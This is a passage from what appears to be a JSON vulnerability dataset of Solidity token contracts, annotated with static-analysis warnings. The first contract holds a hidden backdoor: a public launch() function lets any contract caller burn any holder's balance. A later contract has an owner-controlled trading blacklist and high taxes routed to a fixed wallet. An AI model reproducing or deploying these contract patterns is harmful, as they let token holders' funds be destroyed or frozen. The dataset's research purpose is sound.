{\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"APETURBO\", unicode\"APETURBO\", 9, 100000000) {}\n}\n",
"file_name": "solidity_code_10056.sol",
"size_bytes": 7155,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Chiitan is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f7c0ca6): Chiitan._taxWallet should be immutable \n\t// Recommendation for f7c0ca6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9fcdca4): Chiitan._initialBuyTax should be constant \n\t// Recommendation for 9fcdca4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b38d443): Chiitan._initialSellTax should be constant \n\t// Recommendation for b38d443: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a60ba41): Chiitan._reduceBuyTaxAt should be constant \n\t// Recommendation for a60ba41: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93d576f): Chiitan._reduceSellTaxAt should be constant \n\t// Recommendation for 93d576f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e66bfff): Chiitan._preventSwapBefore should be constant \n\t// Recommendation for e66bfff: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Chiitan Coin\";\n\n string private constant _symbol = unicode\"Chiitan\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: acc2a1d): Chiitan._taxSwapThreshold should be constant \n\t// Recommendation for acc2a1d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93b5f51): Chiitan._maxTaxSwap should be constant \n\t// Recommendation for 93b5f51: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x55C56Ca94bdF47baD288Fde6C83dd6ed3daCaBEa);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 821690d): Chiitan.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 821690d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b842ba1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b842ba1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 14f79ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 14f79ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b842ba1\n\t\t// reentrancy-benign | ID: 14f79ad\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b842ba1\n\t\t// reentrancy-benign | ID: 14f79ad\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1c8e30): Chiitan._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1c8e30: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 14f79ad\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b842ba1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 42a5bc5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 42a5bc5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7a925d5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7a925d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 42a5bc5\n\t\t\t\t// reentrancy-eth | ID: 7a925d5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 42a5bc5\n\t\t\t\t\t// reentrancy-eth | ID: 7a925d5\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7a925d5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7a925d5\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7a925d5\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 42a5bc5\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7a925d5\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7a925d5\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 42a5bc5\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 42a5bc5\n\t\t// reentrancy-events | ID: b842ba1\n\t\t// reentrancy-benign | ID: 14f79ad\n\t\t// reentrancy-eth | ID: 7a925d5\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 42a5bc5\n\t\t// reentrancy-events | ID: b842ba1\n\t\t// reentrancy-eth | ID: 7a925d5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c7af73a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c7af73a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fa549fe): Chiitan.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fa549fe: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5db11d8): Chiitan.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5db11d8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4902c8f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4902c8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c7af73a\n\t\t// reentrancy-eth | ID: 4902c8f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c7af73a\n\t\t// unused-return | ID: fa549fe\n\t\t// reentrancy-eth | ID: 4902c8f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c7af73a\n\t\t// unused-return | ID: 5db11d8\n\t\t// reentrancy-eth | ID: 4902c8f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c7af73a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4902c8f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10057.sol",
"size_bytes": 19895,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function per(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= 100, \"Percentage must be between 0 and 100\");\n\n return (a * b) / 100;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked 